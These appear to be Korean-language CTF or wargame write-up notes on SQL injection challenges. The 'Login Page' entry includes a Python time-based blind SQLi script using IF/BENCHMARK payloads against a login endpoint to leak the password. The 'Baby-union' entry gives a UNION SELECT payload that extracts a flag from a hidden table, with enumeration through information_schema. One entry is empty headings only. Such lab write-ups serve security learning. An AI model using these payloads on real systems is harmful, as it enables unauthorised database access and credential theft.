SQL Injection on Stacknoah

Login Page

Wed, 15 Jul 2026 00:00:00 +0000

공격표면

flag(./deploy/app/app.py:160): return render_template('login.html', msg=FLAG)

풀이

username == actual_username and password == actual_password
SQL_BAN_LIST에 쿼리문 내용 포함되어 있지 않아야 함

입력 pw가 실제 pw(random)와 동일해야 함 -> 불가능
- 그렇다면 내가 집어넣은 값을 가져와야 동일하게 맞출 수 있음
- Union select를 사용하면 이를 해결할 수 있지만, 2에서 union이 ban되어 있음
- Union을 사용하지 않고, 혹은 우회해서 내가 원하는 값을 넣을 수 있는가?
- =, benchmark, substr/mid 사용 가능 -> blind sqli

def measure(cond_sql):
	payload = f"a' OR IF({cond_sql}, BENCHMARK({DELAY},SHA1(1)), 0)-- "
	s = fresh_session()
	t = time.time()
	s.post(f'{BASE}/login', data={'username': 'admin', 'password': payload})
	return time.time() - t
	
def leak_length():
	for n in range(1, 128):
		if ask(f'LENGTH(password)={n}'):
			return n
	return None

배운 점

BlindSQL 판단 지점

MemoVault

Wed, 15 Jul 2026 00:00:00 +0000

풀이

배운 점

클래스로 (이 패턴 = 이 취약점, 방어)

Baby-union (DH, S4)

Tue, 07 Jul 2026 00:00:00 +0000

TL;DR

취약점: 로그인 쿼리가 입력을 문자열로 이어붙임 — SELECT * FROM users WHERE uid='{uid}' and upw='{upw}' → SQL Injection. 결과가 표로 렌더되어 in-band.
트릭: flag가 로그인 테이블 밖(onlyflag)에 있음 → UNION으로 추출. 테이블·컬럼 이름이 숨겨져 있어 information_schema로 열거.
페이로드: ' UNION SELECT 1,CONCAT(sname,svalue,sflag,sclose),3,4 FROM onlyflag-- -

흐름

경로	입력	통제주체	역할
/	uid, upw (POST form)	공격자	로그인 쿼리 → 결과를 표로 렌더 → sink

결과가 화면에 그대로 표시(in-band)라 UNION 추출이 가능한 조건이다.